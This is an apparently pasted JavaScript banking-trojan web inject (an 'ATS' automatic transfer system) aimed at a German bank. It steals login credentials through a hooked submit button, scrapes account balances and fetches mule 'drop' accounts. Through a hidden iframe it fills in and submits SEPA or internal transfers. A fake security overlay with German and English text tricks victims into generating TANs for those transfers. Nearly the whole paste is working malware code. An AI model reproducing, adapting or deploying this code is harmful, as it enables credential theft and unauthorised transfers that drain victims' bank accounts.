  924.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  925.                 return accounts_list[i];
  926.             }
  927.        
  928.     }
  929.     return false;
  930. }
  931.  
  932. var langs ={
  933.  simple_property: 'Hello',
  934.  EN: {
  935.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  936.   nextbutton: "Next",
  937.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  938.   errorTanEmpty : "TAN must be 6 characters long!",
  939.   Authorizetransaction : "Zu Ihrer Sicherheit",
  940.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:",
  941.   autorizetext2: "To generate a TAN for your instruction Single payment, please proceed as follows:"
  942.  },
  943.   DE: {
  944.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  945.   nextbutton: "Weiter",
  946.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  947.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  948.   Authorizetransaction : "Zu Ihrer Sicherheit",
  949.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:",
  950.   autorizetext2: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  951.  
  952.  },
  953.  
  954.  getLang: function(step) {
  955.  
  956. var ln='DE';
  957.  
  958. jq('div.cont').each(function(){
  959. if (jq(this).html().indexOf("Last Login")!=-1) {ln='EN';}
  960. });
  961.  
  962.  
  963.  
  964. //  return(this.simple_property + ', ' + this[ln][step]);
  965.   return(this[ln][step]);
  966.  },
  967.  
  968.  getCurLang: function() {
  969.  
  970.  
  971. var ln='DE';
  972. jq('div.cont').each(function(){
  973. if (jq(this).html().indexOf("Last Login")!=-1) {ln='EN';}
  974. });
  975.  
  976.  
  977.   return(ln);
  978.  }
  979.  
  980. };
  981.  
  982.  
  983.  
  984.  
  985. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}</style>');
  986.  
  987.  
  988.  
  989. ATS.checkTestPage = function()
  990. {
  991.     if(jq('#gad_contentbox').length) return true;
  992.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  993.     else return false;
  994. }
  995.  
  996.  
  997. ATS.checkLoginPage = function()
  998. {
  999.     return ! jq('div.timer').length;
  1000. }
  1001.  
  1002.  
  1003.  
  1004. ATS.isLoggedIn = function()
  1005. {
  1006.    
  1007. return !! jq('div.timer').length;
  1008.  
  1009. }
  1010. ATS.UI_blockSite = function()
  1011. {
  1012.     if (ATS.debugNoOverlay)
  1013.         return;
  1014.        
  1015.     if (jq('#inj_block_overlay').length)
  1016.         jq('#inj_block_overlay').show();
  1017.     else
  1018.         {jq('body').prepend('<div id=inj_block_overlay></div>');
  1019.        
  1020.    
  1021.    var cssLink = document.createElement("link")
  1022. cssLink.href = ATS.CONTENT_URL+"/images/[email protected]";
  1023. cssLink.rel = "stylesheet";
  1024. cssLink.type = "text/css";
  1025. jq('body', parent.document).prepend(cssLink);
  1026.    
  1027.         }
  1028. }
  1029. ATS.UI_unblockSite = function()
  1030. {
  1031.     jq('#inj_block_overlay').hide();
  1032.     jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
  1033.    
  1034. }
  1035.  
  1036.  
  1037.  
  1038. ATS.getFinanzstatusLink = function()
  1039. {
  1040.  
  1041.     if(!parent.ATS.finLink){
  1042.        
  1043.     parent.ATS.finLink=jq('ul li a:has(span:contains(Financial status)),ul li a:has(span:contains(Finanz'+String.fromCharCode(252)+'bersicht))').attr("href");
  1044.     //parent.ATS.finLink=parent.document.location.href;
  1045.     }
  1046.     return parent.ATS.finLink;
  1047.    
  1048.    
  1049.    
  1050. }
  1051.  
  1052.  
  1053.  
  1054. ATS.UI_showDialogBox = function()
  1055. {
  1056.     jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide();
  1057.    
  1058.     if (!jq('#inj_dialog_box').length)
  1059.     {
  1060.         var injectCode = ATS.UI_getInjectCode();
  1061.         jq('body').append(injectCode);
  1062.        
  1063.         jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);
  1064.     }
  1065.     jq('#inj_dialog_box').show();
  1066. }
  1067.  
  1068. ATS.UI_askTan = function(tanNum, isError)
  1069. {
  1070.    
  1071.    
  1072.    
  1073. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  1074.     parent.ATS.UI_showDialogBox();
  1075.     //parent.ATS.UI_fixBtnLink();
  1076.  
  1077. //var sms=jq('div[id*="TanData"]').html();
  1078.  
  1079. if (!!jq('#legitimation label:contains(SMS)').length){
  1080.    
  1081.     parent.ATS.TanType='sms';
  1082.  
  1083.     jq('#inj_page_wait', parent.document).hide();
  1084.     jq('#inj_page_brilok', parent.document).hide();
  1085.     jq('#gad_signatur_tan', parent.document).show();
  1086.     jq('#gad_contentbox', parent.document).show();
  1087.  
  1088.      
  1089. }
  1090.  else{
  1091.     parent.ATS.TanType='brilok';
  1092.  
  1093.  
  1094.  
  1095.  
  1096.     jq('#inj_page_wait', parent.document).hide();
  1097.     jq('#gad_signatur_tan', parent.document).hide();
  1098.  
  1099.     jq('#gad_contentbox', parent.document).show();
  1100.    
  1101.     //jq('#instext', parent.document).html(msg);
  1102.     jq('#instext',parent.document).html("");
  1103.  
  1104.  
  1105. /*
  1106.     var destination=jq('#instext',parent.document);
  1107.     jq(source).clone().appendTo(destination,parent.document);
  1108.     var legitimation_parent=jq('#instext',parent.document);
  1109.     jq(legitimation_parent).find("input,label",parent.document).remove();
  1110.     var htmlins=jq(legitimation_parent).html();
  1111. */
  1112. //    jq(legitimation_parent).html(htmlins.replace(/\*/gi,""));
  1113.  
  1114.    
  1115.    
  1116. var zapwind=jq('#legitimation div').html();    
  1117.  
  1118.   //---------------------------------------------------------------
  1119.     var re = /StartCode[\D]*([\d]+)/g;
  1120.     var arr=re.exec(zapwind);
  1121.     if (arr==null) {
  1122.        // ATS.sendLogMsg('#legitimation=' + zapwind,function(){
  1123.         //ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");  });
  1124.     }
  1125.         var startcode=arr[1];
  1126.                  
  1127.     var re = /Kontonummer|IBAN[\)\:^\D]+([\d\*]+)/gim;
  1128.     var arr=re.exec(zapwind);
  1129.     if (arr==null) {
  1130.         //  ATS.sendLogMsg('#legitimation=' + zapwind,function(){
  1131.         //ATS.die("ATS.UI_askTan: Regex error- cant find IBAN");  });
  1132.     }
  1133.         var Kontonummer=arr[1];
  1134.  
  1135.     var amount=0;
  1136.    
  1137.     if (parent.ATS.transf_mode == 'sepa') amount=parent.ATS.sepa_drop.amount;    
  1138.      else{amount=parent.ATS.int_drop.amount;}
  1139.    
  1140.      
  1141. if (langs.getCurLang()=='DE'){  
  1142.     var msg='<p class="gad-margin-top-5">Um eine TAN fur Ihren Unterricht Einmalzahlung zu generieren, gehen Sie bitte wie folgt vor: </p><ul class="gad-content-list">';
  1143.    
  1144.     msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drucken "TAN".</span></li>';
  1145.     msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drucken "OK".</span></li>';
  1146.     msg+='<li><span>* 3. Geben Sie den <strong>'+Kontonummer+'</strong> ein und drucken "OK".</span></li>';
  1147.  
  1148.     msg+='<li><span>* 4. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drucken "OK".</span></li>';
  1149.     msg+='</ul><p></p>';
  1150. }else{    
  1151.  
  1152.     var msg='<p class="gad-margin-top-5">To generate a TAN for your lessons one-time payment, please proceed as follows :</p><ul class="gad-content-list">';
  1153.    
  1154.     msg+='<li><span> * 1. Insert your smart card into the TAN generator and print "TAN".</span></li>';
  1155.     msg+='<li><span>* 2. Enter the start code <strong>'+startcode+'</strong> and print "OK".</span></li>';
  1156.     msg+='<li><span>* 3. Enter the <strong>'+Kontonummer+'</strong> and print "OK".</span></li>';
  1157.  
  1158.     msg+='<li><span>* 4. Enter: <strong>'+amount+'</strong> and print "OK".</span></li>';
  1159.     msg+='</ul><p></p>';
  1160.    
  1161.    
  1162.    
  1163.     }
  1164.    
  1165. //-------------------------------------------------------------------  
  1166.     jq('#instext',parent.document).html(msg);
  1167.  
  1168.  
  1169.     jq('#inj_page_brilok', parent.document).show();
  1170.  }  
  1171.    
  1172.    
  1173.     jq('.inj_buttons_block', parent.document).show();
  1174.  
  1175.  }
  1176.  
  1177.  
  1178. ATS.getLoginForm = function()
  1179. {
  1180.     var form = jq("form[name='f']");
  1181.     if (form.length)
  1182.         return form[0];
  1183.     /* 
  1184.     form = jq("form").has('input#anmeld');
  1185.     if (form.length)
  1186.         return form[0];
  1187.         */
  1188.     return false;
  1189. }
  1190.  
  1191.  
  1192. ATS.getPageTitle = function(findtext)
  1193. {
  1194.      var title=jq.trim(jq('#inner > h1').text());
  1195.     if (title.indexOf(findtext) !=-1) return true;
  1196.     else return false;
  1197. }
  1198. ATS.hideLastTAN = function()
  1199. {
  1200.  
  1201.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1202.     if (el.length)
  1203.     {
  1204.         var html = jq(el).html();
  1205.         var pos = html.indexOf('Ihre zuletzt');
  1206.         if (pos >= 0)
  1207.             jq(el).html(html.substr(0, pos));
  1208.     }
  1209.    
  1210.  
  1211.     jq('p:contains(Zuletzt benutzte)').remove();
  1212. }
  1213.  
  1214.  
  1215.  
  1216.  
  1217.  
  1218. ATS.setLoginHook = function()
  1219. {
  1220.     //ATS.loginDataSent = false;
  1221.     var loginInfoSent = false;
  1222.        
  1223.     var loginForm = ATS.getLoginForm();
  1224.  
  1225.  
  1226.         //loginForm.onsubmit = function(){return true};
  1227. /*
  1228. jq('form[name="f"]').unbind('submit');
  1229. $('form[name="f"]').unbind('submit');      
  1230. jQuery('form[name="f"]').unbind('submit');
  1231.        
  1232. jq('form[name="f"]').find("input:submit").remove()
  1233. jq('form[name="f"]').append(createHidden(jq('input[type=submit].default').attr('name'), 'Login'));
  1234. jq('form[name="f"]').find("input:hidden").attr("name","_eventId_next");
  1235. */
  1236.  
  1237.  
  1238.  
  1239. //$('form[name="f"]').submit(function(e){console.log("gfh");return false;});
  1240.      
  1241.       $('#aggregate :submit').unbind("click");
  1242.        
  1243.       $('#aggregate :submit').bind("click",function(e){
  1244.         e.preventDefault();
  1245.             var loginForm = ATS.getLoginForm();                        
  1246.            
  1247.                 var login=jq(loginForm).find('input:visible').eq(0).val();
  1248.                
  1249.                 var password=jq(loginForm).find('input:visible').eq(1).val();
  1250.          
  1251.  
  1252.         if (!loginInfoSent)
  1253.         {            
  1254.            
  1255.              ATS.debugMsg('login info: ' + login + ', ' + password);
  1256.              
  1257.                 //jq('input[name="_eventId_next"]').attr('disabled', 'disabled');                  
  1258.                     ATS.sendLoginInfo(login, password, function(){
  1259.                         ATS.debugMsg('after clik ');
  1260.                         loginInfoSent = true;
  1261.                         //jq('input[name="_eventId_next"]').attr('disabled', false);
  1262.                         // wpSubmit = true;
  1263.  
  1264.                         $("form#aggregate").submit();
  1265.  
  1266.            
  1267.                     });
  1268.                    
  1269.                  
  1270.         }
  1271. //          if (ATS.loginDataSent) return true; else return false;  
  1272.         });
  1273.            
  1274.  
  1275. }
  1276.  
  1277. // ============================================================================
  1278.  
  1279.  
  1280. ATS.getTime = function()
  1281. {
  1282.     return Math.floor((new Date).getTime() / 1000);
  1283. }
  1284.  
  1285.  
  1286.  
  1287.  
  1288. ATS.openInIframe = function(url)
  1289. {
  1290.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1291.     jq('body').append(iframe);
  1292.     if (ATS.debugVisibleFrame)
  1293.     {
  1294.         jq("#ats_wrk_iframe").css('width', '1200px');
  1295.         jq("#ats_wrk_iframe").css('height', '1200px');
  1296.         jq("#ats_wrk_iframe").css('top', '1000px');
  1297.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1298. //          jq("body").css('position', 'relative');
  1299.     }
  1300.     else
  1301.     {
  1302.         jq("#ats_wrk_iframe").css('width', '1px');
  1303.         jq("#ats_wrk_iframe").css('height', '1px');
  1304.         //jq(iframe).css('top', '0px');
  1305.         //jq(iframe).css('position', 'absolute');
  1306.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1307.     }
  1308. }
  1309.  
  1310.  
  1311. ATS.parseAccountsList = function()
  1312. {
  1313.     var accountsList = new Array();
  1314. jq('.compBox table tr:has(a span.QL_einzelueberweisung)').each(function(){
  1315.  
  1316.        if (langs.getCurLang()=='EN'){
  1317.                 var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
  1318.                var overdraft=jq.trim(jq(this).children("td:eq(3)").text().replace(/\,/g, ''));
  1319.                if (overdraft=='-') overdraft=0;
  1320.                var balance=jq.trim(jq(this).children("td:eq(4)").text().replace(/\,/g, ''));
  1321.                var numberhreef=jq(this).children("td:eq(5)").find('a:has(span.QL_einzelueberweisung)').attr('href');                
  1322.                           var kreditbalance=parseFloat(balance)+parseFloat(overdraft);
  1323.             }
  1324.             else{
  1325.                 var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
  1326.                 var overdraft=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1327.                if (overdraft=='-') overdraft=0;
  1328.                 var balance=jq.trim(jq(this).children("td:eq(4)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  1329.             var numberhreef=jq(this).children("td:eq(5)").find('a:has(span.QL_einzelueberweisung)').attr('href');                
  1330.            var kreditbalance=parseFloat(balance)+parseFloat(overdraft);
  1331.                
  1332.                 }
  1333. accountsList.push({number: number,kreditbalance: kreditbalance,numberhreef: numberhreef,overdraft: overdraft,balance: balance});     
  1334.  
  1335. });
  1336.  
  1337.  
  1338.  
  1339.     return accountsList;
  1340. }
  1341.  
  1342.  
  1343.  
  1344. ATS.framePageFinanzstatus = function()
  1345. {
  1346.  
  1347.     if(!parent.ATS.Gesamtsaldo){
  1348.  
  1349.  
  1350. if (langs.getCurLang()=='EN'){
  1351. var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\,/g, ''));
  1352. }else{
  1353. var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\./g, '').replace(/\,/g, '.'));    
  1354. }
  1355.  
  1356.  
  1357.  
  1358.     parent.ATS.Gesamtsaldo = saldo;
  1359.     }
  1360.    
  1361.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1362.  
  1363.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1364.    
  1365.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1366.  
  1367.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance or Girokonto');
  1368.    
  1369.     //var maxBalance = ATS.getMaxTransferAcc();
  1370.     var maxAcc = ATS.getMaxTransferAcc();
  1371.     if (!maxAcc) return false;
  1372.    
  1373.     parent.ATS.maxAcc=maxAcc;
  1374.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.kreditbalance;
  1375.     parent.ATS.maxBalanceDrop=parseFloat(parent.ATS.maxBalanceDrop.toFixed(2));
  1376.    
  1377.     ATS.dropfunk();
  1378.    
  1379.  
  1380.      
  1381.    
  1382. }
  1383.  
  1384.  
  1385. ATS.dropfunk = function()
  1386. {
  1387.  
  1388.  
  1389.     ATS.getDrop('SEPA', parent.ATS.maxBalanceDrop, function(data){
  1390.                     if (data && data.drop)
  1391.                     {
  1392.                         parent.ATS.sepa_drop = data.drop;
  1393.                         parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1394.    
  1395.                        
  1396.                             setTimeout(function(){
  1397.                                document.location.href = parent.ATS.maxAcc.numberhreef;                    
  1398.                             }, 2000);
  1399.                                                
  1400.                        
  1401.                        
  1402.                     }
  1403.                     else
  1404.                     {
  1405.                        
  1406.                         ATS.getDrop('Internal', parent.ATS.maxBalanceDrop, function(data){
  1407.                         if (data && data.drop)
  1408.                         {
  1409.            
  1410.                             parent.ATS.int_drop = data.drop;
  1411.                            
  1412.           //    parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
  1413.           //переход на внутрик идет с сепы
  1414.           parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1415.                 parent.ATS.transf_mode = 'int';
  1416.                             setTimeout(function(){
  1417.                                document.location.href = parent.ATS.maxAcc.numberhreef;                    
  1418.                             }, 2000);
  1419.  
  1420.                            
  1421.                            
  1422.                         }
  1423.                         else
  1424.                         {
  1425.                             parent.ATS.UI_hideDialogBox();
  1426.                             parent.ATS.UI_unblockSite();
  1427.                             ATS.die('KreditlimitPage: no Int drop');
  1428.    
  1429.                         }
  1430.                         });
  1431.                  
  1432.                        
  1433.                     }
  1434.                 });      
  1435.                
  1436.    
  1437. }      
  1438.  
  1439.  
  1440. ATS.framePageSEPA_page = function()
  1441. {
  1442.   ATS.debugMsg('before parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);  
  1443.        if (parent.ATS.transf_mode == 'int') {
  1444.         ATS.debugMsg('inside parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);
  1445.       var intobj=jq('ul li a:has(span:contains(Payment)),ul li a:has(span:contains('+String.fromCharCode(220)+'berweisung)):eq(0)');
  1446.  
  1447.   if (!!intobj.length) {
  1448.    var intlink=intobj.attr("href");
  1449.          parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
  1450.             setTimeout(function(){
  1451.                                document.location.href = intlink;                    
  1452.                             }, 2000);
  1453.        } else  ATS.die('framePageSEPA_page: cant find intlink');  
  1454.        
  1455.        }
  1456.         else {
  1457.    
  1458. ATS.debugMsg('inside sepa parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);    
  1459. var drop = parent.ATS.sepa_drop;
  1460.        
  1461.     jq('input[name="recipient"]').val(drop.DrName);
  1462.     jq('input[name="recipientIban"]').val(drop.IBAN);
  1463.     jq('input[name="recipientSwift"]').val( ATS.padRight(drop.BIC,11));
  1464.     jq('input[name="amount"]').val(drop.amount);
  1465.     jq('textarea[name="reason"]').val(drop.Reference);
  1466.    
  1467.        
  1468.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1469.     ATS.sendLogMsg('SEPA form filled in');
  1470.    
  1471.         setTimeout(function(){
  1472.  
  1473.             //jq('form#sepaRemittance').submit();
  1474.             //jq('form#aggregate').submit();
  1475.           jq('input[name="_eventId_next"]').click();
  1476.            
  1477.         }, 6000);
  1478.  
  1479.  
  1480. }
  1481.    
  1482. }
  1483.  
  1484.  
  1485.  
  1486.  
  1487. ATS.framePageInternal_transf_page = function()
  1488. {
  1489.     var drop = parent.ATS.int_drop;                    
  1490.    
  1491.  
  1492.     jq('input[name="recipient"]').val(drop.DrName);
  1493.     jq('input[name="recipientAccountId"]').val(drop.Konto);
  1494.     jq('input[name="recipientBankingCode"]').val(drop.BLZ);
  1495.     jq('input[name="amount"]').val(drop.amount);
  1496.     jq('textarea[name="reason"]').val(drop.Reference);
  1497.    
  1498.    
  1499.    
  1500.         var accountsSelect = jq('#remitterAccountId');
  1501.         if (jq(accountsSelect).length != 0)
  1502.         {
  1503.             jq(accountsSelect).children('option').each(function(){
  1504.                 var acc_num = jq.trim(jq(this).val());
  1505.                 ATS.debugMsg('Option: ' + acc_num);
  1506.                 if (acc_num.indexOf(parent.ATS.maxAcc.number) !=-1)
  1507.                 {
  1508.                    
  1509.                         jq(this).attr('selected', 'selected');
  1510.  
  1511.                 }
  1512.             });    
  1513.        
  1514.         }
  1515.    
  1516.    
  1517.    
  1518.    
  1519.        
  1520.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1521.     ATS.sendLogMsg('INT form filled in');    
  1522.    
  1523.         setTimeout(function(){
  1524.  
  1525.             //jq('form#sepaRemittance').submit();
  1526.             //jq('form#aggregate').submit();
  1527.           jq('input[name="_eventId_next"]').click();
  1528.            
  1529.         }, 6000);
  1530.  
  1531.  
  1532.  
  1533.  
  1534.  
  1535.  
  1536. }
  1537.  
  1538. ATS.confirmform = function()
  1539. {
  1540.  
  1541. ATS.UI_askTan();
  1542.  
  1543. }
  1544.  
  1545. ATS.enterCode = function(tan)
  1546. {
  1547.     ATS.debugMsg('ATS.enterCode ' + tan);
  1548.    
  1549.    
  1550.     if (jq('#password').length)
  1551.     {
  1552.         jq('#password').val(tan);
  1553.        
  1554.         if ( jq('input[name="_eventId_next"]').length)
  1555.         {
  1556.             //parent.ATS.current_state = 120;
  1557.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1558.             parent.ATS.UI_showWait();
  1559.                                
  1560.             //jq('form#sepaRemittance').submit();
  1561.             //jq('form#aggregate').submit();
  1562.             jq('input[name="_eventId_next"]').click();
  1563.            
  1564.        
  1565.                                
  1566.            
  1567.            
  1568.         }
  1569.         else
  1570.             ATS.die('enterCode: cant find  next button');
  1571.     }
  1572.     else
  1573.         ATS.die('enterCode: cant find tan field ');
  1574. }
  1575.  
  1576.  
  1577.  
  1578. ATS.frameWork = function()
  1579. {
  1580.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1581.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1582.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1583.     {
  1584.  
  1585.         case "framePageFinanzstatus":
  1586.             ATS.framePageFinanzstatus();
  1587.             break;
  1588.            
  1589.        
  1590.    
  1591.         case "SEPA_page":
  1592.             ATS.framePageSEPA_page();
  1593.             break;
  1594.            
  1595.  
  1596.         case "framePageInternal_transf_page":
  1597.             ATS.framePageInternal_transf_page();
  1598.             break;
  1599.  
  1600.  
  1601.         case "confirmform":
  1602.             ATS.confirmform();
  1603.             break;
  1604.            
  1605.            
  1606.            
  1607.            
  1608.  
  1609.         case "SEPA_form_filled":
  1610.         case "INT_form_filled":
  1611.        
  1612.        
  1613.             var textEl=jq('.msgBox:visible').text();
  1614.            
  1615.             if (!textEl.length)
  1616.             {
  1617.    
  1618.  
  1619.                 jq('input[type="radio"]').prop( "checked", false );
  1620.                 if(!!jq('input#sms').length)
  1621.                 jq('input#sms').prop( "checked", true );
  1622.                 else {jq('#chip:radio').prop( "checked", true );}
  1623.                
  1624.                  
  1625.                 parent.ATS.StepInFrame.set_current_state("confirmform");    
  1626.                  
  1627.                 setTimeout(function(){
  1628.  
  1629.                     //jq('form#sepaRemittance').submit();
  1630.                     //jq('form#aggregate').submit();
  1631.                   jq('input[name="_eventId_next"]').click();
  1632.                    
  1633.                 }, 6000);
  1634.                  
  1635.                  
  1636.                  //ATS.UI_askTan();
  1637.                  
  1638.                  
  1639.                        
  1640.             }
  1641.                 else {
  1642.            
  1643.                     ATS.die('Error fill SEPA form: ' + textEl.text() );
  1644.                   }
  1645.            
  1646.             break;
  1647.            
  1648.          
  1649.  
  1650.            
  1651.            
  1652.  
  1653.         case "TAN_ENTERED":
  1654.        
  1655.         ATS.debugMsg("TAN_ENTERED");
  1656.  
  1657.         //if (jq('.errorMessage:visible').length)
  1658.         if (jq('.msgBox:visible').length)      
  1659.         {
  1660.             parent.ATS.badTan = true;
  1661.             ATS.UI_askTan();
  1662.    
  1663.                 }
  1664.        else {  
  1665.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  1666.         else ATS.framePageReceiptInternal();
  1667.        
  1668.        }
  1669.  
  1670.        
  1671.             break;                        
  1672.    
  1673.        
  1674.     }
  1675. }
  1676.  
  1677.  
  1678. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1679. {
  1680.     document.write('<div class="inj_full_overlay"></div>');
  1681.    
  1682.     jq(document).ready(function(){
  1683.         ATS.debugMsg('document loaded');
  1684.        
  1685.         //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
  1686.        
  1687.  
  1688.     ATS.loadData(function(data){
  1689.  
  1690.         if (ATS.account_id != 0)
  1691.         {  
  1692.      
  1693.             switch (ATS.getCookie('status')) {
  1694.                case "1":
  1695.                   if (ATS.isLoggedIn()) {jq('.inj_full_overlay').remove(); ATS.replaceBalances(); }
  1696.                   else jq('.inj_full_overlay').remove();
  1697.                  
  1698.                  
  1699.                   break;
  1700.                case "2":
  1701.                ATS.debugMsg('case "2"');
  1702.                
  1703.                
  1704.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=48) {
  1705.                 ATS.setCookie('status',0);
  1706.                 ATS.saveCookies();
  1707.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1708.                 jq('.inj_full_overlay').remove();
  1709.               } else {jq('.inj_full_overlay').remove(); break;}
  1710.              
  1711.              
  1712.                default:
  1713.                
  1714.                         if (ATS.checkLoginPage())
  1715.                         {
  1716.                             ATS.debugMsg('login page');
  1717.                             ATS.setLoginHook();
  1718.                             jq('.inj_full_overlay').remove();
  1719.                             break;
  1720.                         }                          
  1721.                        
  1722.                      
  1723.                         if (ATS.isLoggedIn())
  1724.                         {
  1725.                             ATS.debugMsg('logged in!');
  1726.                            
  1727.  
  1728.                     var t =jq('ul.activeNotificationAction a').text();
  1729.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1730.                         ATS.debugMsg('TAN locked!');
  1731.                         ATS.die("TAN locked!");
  1732.                         jq('.inj_full_overlay').remove();
  1733.                         break;
  1734.                     }
  1735.                          
  1736.                            
  1737.                        
  1738.                             if ((parent.document !== document) && parent.ATS)
  1739.                             {
  1740.                                 ATS.debugMsg('we are in frame!');
  1741.                                 ATS.frameWork();
  1742.                                 jq('.inj_full_overlay').remove();
  1743.                                 break;
  1744.                             }
  1745.                             else
  1746.                             {
  1747.                                 jq('.inj_full_overlay').remove();
  1748.                                
  1749.                                 ATS.UI_blockSite();
  1750.                                 ATS.UI_showWait();
  1751.                                 ATS.mainWork();
  1752.                                 break;
  1753.                             }
  1754.                         }
  1755.                         else
  1756.                         {
  1757.                             if ((parent.document !== document) && parent.ATS)
  1758.                             {
  1759.                                 ATS.debugMsg('we are in frame and not logged in!');
  1760.                             }
  1761.                         }              
  1762.                
  1763.                
  1764.                     break;
  1765.             }
  1766.          
  1767.            
  1768.  
  1769.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  1770.        
  1771.        
  1772.  
  1773.     });
  1774.      
  1775.        
  1776.  
  1777.        
  1778.  
  1779.     });
  1780. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement